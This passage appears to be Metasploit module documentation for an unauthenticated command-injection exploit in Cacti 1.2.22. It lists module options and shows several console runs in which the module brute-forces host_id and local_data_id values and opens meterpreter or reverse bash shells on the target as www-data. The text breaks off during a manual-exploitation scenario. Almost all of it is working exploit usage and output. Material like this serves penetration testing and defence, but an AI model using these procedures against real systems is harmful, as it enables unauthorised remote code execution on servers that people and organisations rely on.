

The IP to use in the x-Forwared-For HTTP header. This should be resolvable to a hostname in the poller table. Default: 127.0.0.1

## **Advanced Options**

## MIN\_HOST\_ID

Lower value for the range of possible host\_id values to check for. Default: 1

## MAX\_HOST\_ID

Upper value for the range of possible host\_id values to check for. Default: 5

#### MIN\_LOCAL\_DATA\_ID

Lower value for the range of possible local\_data\_id values to check for. Default: 1

#### MAX\_LOCAL\_DATA\_ID

Upper value for the range of possible local\_data\_id values to check for. Default: 100

## **Targets**

```
Id Name
-- ----
0 Automatic (Unix In-Memory)
1 Automatic (Linux Dropper)
```

## **Scenarios**

## Cacti 1.2.22 - Linux Dropper - HOST\_ID and LOCAL\_DATA\_ID not set (bruteforce)

msf6 exploit(linux/http/cacti\_unauthenticated\_cmd\_injection) > options



 ${\tt Module\ options\ (exploit/linux/http/cacti\_unauthenticated\_cmd\_injection):}$ 

Name	Current Setting	Required	Description
HOST_ID		no	The host_id value to use. By de
LOCAL_DATA_ID		no	The local_data_id value to use.
Proxies		no	A proxy chain of format type:ho
RHOSTS	192.168.91.195	yes	The target host(s), see https:/
RPORT	8080	yes	The target port (TCP)
SRVHOST	192.168.91.195	yes	The local host or network inter
			resses.
SRVPORT	9090	yes	The local port to listen on.
SSL	false	no	Negotiate SSL/TLS for outgoing
SSLCert		no	Path to a custom SSL certificat
TARGETURI	/	yes	The base path to Cacti
URIPATH		no	The URI to use for this exploit
VHOST		no	HTTP server virtual host
X_FORWARDED_FOR_IP	127.0.0.1	yes	The IP to use in the X-Forwared

Payload options (linux/x86/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.91.195	yes	The listen address (an interface may be spec
LPORT	4444	yes	The listen port

### Exploit target:

```
Id Name
```

-- ----

1 Automatic (Linux Dropper)

View the full module info with the info, or info -d command.

msf6 exploit(linux/http/cacti\_unauthenticated\_cmd\_injection) > run

```
[*] Started reverse TCP handler on 192.168.91.195:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Trying to bruteforce an exploitable host_id and local_data_id by trying up to
[*] Enumerating local_data_id values for host_id 1
[*] Performing request 25...
[*] Performing request 50...
[*] Performing request 75...
[+] Found exploitable local_data_id 180 for host_id 1
[*] Sending stage (1017704 bytes) to 10.18.0.3
[*] Command Stager progress - 100.00% done (773/773 bytes)
[*] Meterpreter session 1 opened (192.168.91.195:4444 -> 10.18.0.3:45322) at 2022
meterpreter > getuid
Server username: www-data
```

## Cacti 1.2.22 - Unix In-Memory - HOST\_ID and LOCAL\_DATA\_ID set (immediate exploitation)

msf6 exploit(linux/http/cacti\_unauthenticated\_cmd\_injection) > options



 ${\tt Module\ options\ (exploit/linux/http/cacti\_unauthenticated\_cmd\_injection):}$ 

Name	Current Setting	Required	Description
HOST_ID	1	no	The host_id value to use. By de
LOCAL_DATA_ID	182	no	The local_data_id value to use.
Proxies		no	A proxy chain of format type:ho
RHOSTS	192.168.91.195	yes	The target host(s), see https:/
RPORT	8080	yes	The target port (TCP)
SRVHOST	192.168.91.195	yes	The local host or network inter
			resses.
SRVPORT	9090	yes	The local port to listen on.
SSL	false	no	Negotiate SSL/TLS for outgoing
SSLCert		no	Path to a custom SSL certificat
TARGETURI	/	yes	The base path to Cacti
URIPATH		no	The URI to use for this exploit
VHOST		no	HTTP server virtual host
X_FORWARDED_FOR_IP	127.0.0.1	yes	The IP to use in the X-Forwared

Payload options (cmd/unix/reverse\_bash):

Name	Current Setting	Required	Description
LHOST	192.168.91.195	yes	The listen address (an interface may be spec
LPORT	4444	yes	The listen port

### Exploit target:

```
Id Name
-- ---
0 Automatic (Unix In-Memory)
```

View the full module info with the info, or info -d command.

msf6 exploit(linux/http/cacti\_unauthenticated\_cmd\_injection) > run

- [\*] Started reverse TCP handler on 192.168.91.195:4444
- [\*] Running automatic check ("set AutoCheck false" to disable)
- [+] The target appears to be vulnerable. The target is Cacti version 1.2.22
- $\ensuremath{[*]}$  Executing the payload. This may take a few seconds...
- [\*] Command shell session 1 opened (192.168.91.195:4444 -> 10.18.0.3:50802) at 20

uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Cacti 1.2.22 - Linux Dropper - HOST\_ID and LOCAL\_DATA\_ID not set (bruteforce with undetermined result, then manual exploitation)

```
HOST_ID
                                                 The host_id value to use. By de
  LOCAL_DATA_ID
                                                 The local_data_id value to use.
                                       no
                                                 A proxy chain of format type:ho
  Proxies
                                       no
                      192.168.91.195 yes
                                                 The target host(s), see https:/
  RHOSTS
                                                 The target port (TCP)
  RPORT
                      8080
                                       yes
  SRVHOST
                      192.168.91.195 yes
                                                 The local host or network inter
                                                 resses.
  SRVPORT
                     9090
                                                 The local port to listen on.
                                       yes
  SSL
                      false
                                                 Negotiate SSL/TLS for outgoing
                                       no
  SSLCert
                                       no
                                                 Path to a custom SSL certificat
                                                 The base path to Cacti
  TARGETURI
                                       yes
                                                 The URI to use for this exploit
  URIPATH
                                       no
                                                 HTTP server virtual host
  VHOST
                                       no
  X_FORWARDED_FOR_IP 127.0.0.1
                                       yes
                                                 The IP to use in the X-Forwared
Payload options (linux/x86/meterpreter/reverse_tcp):
  Name Current Setting Required Description
  LHOST 192.168.91.195 yes
                                  The listen address (an interface may be spec
  LPORT 4444
                                    The listen port
                  yes
Exploit target:
  Id Name
  1 Automatic (Linux Dropper)
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > run
[*] Started reverse TCP handler on 192.168.91.195:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Trying to bruteforce an exploitable host_id and local_data_id by trying up to
[*] Enumerating local_data_id values for host_id 1
[*] Performing request 25...
[*] Performing request 50...
[*] Performing request 75...
[*] Performing request 100...
[*] Enumerating local_data_id values for host_id 2
[*] Performing request 125...
[*] Performing request 150...
[*] Performing request 175...
[*] Performing request 200...
[*] Enumerating local_data_id values for host_id 3
[*] Performing request 225...
[*] Performing request 250...
[*] Performing request 275...
[*] Performing request 300...
[*] Enumerating local_data_id values for host_id 4
[*] Performing request 325...
[*] Performing request 350...
[*] Performing request 375...
[*] Performing request 400...
[*] Enumerating local_data_id values for host_id 5
[*] Performing request 425...
[*] Performing request 450...
[*] Performing request 475...
[*] Performing request 500...
[!] Identified 15 host_id - local_data_id combination(s) that may be exploitable,
        host_id: 1 - local_data_id: 156
        host_id: 1 - local_data_id: 157
        host_id: 1 - local_data_id: 158
        host_id: 1 - local_data_id: 164
        host_id: 1 - local_data_id: 166
        host_id: 1 - local_data_id: 167
        host_id: 1 - local_data_id: 168
        host_id: 1 - local_data_id: 169
        host_id: 1 - local_data_id: 170
        host_id: 1 - local_data_id: 173
        host_id: 1 - local_data_id: 174
        host_id: 1 - local_data_id: 175
        host_id: 1 - local_data_id: 176
        host_id: 1 - local_data_id: 177
        host_id: 1 - local_data_id: 178
[*] You can try to exploit these by manually configuring the HOST_ID and LOCAL_DA
[-] Exploit aborted due to failure: no-target: Failed to identify an exploitable
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set host_id 1
```

host\_id => 1



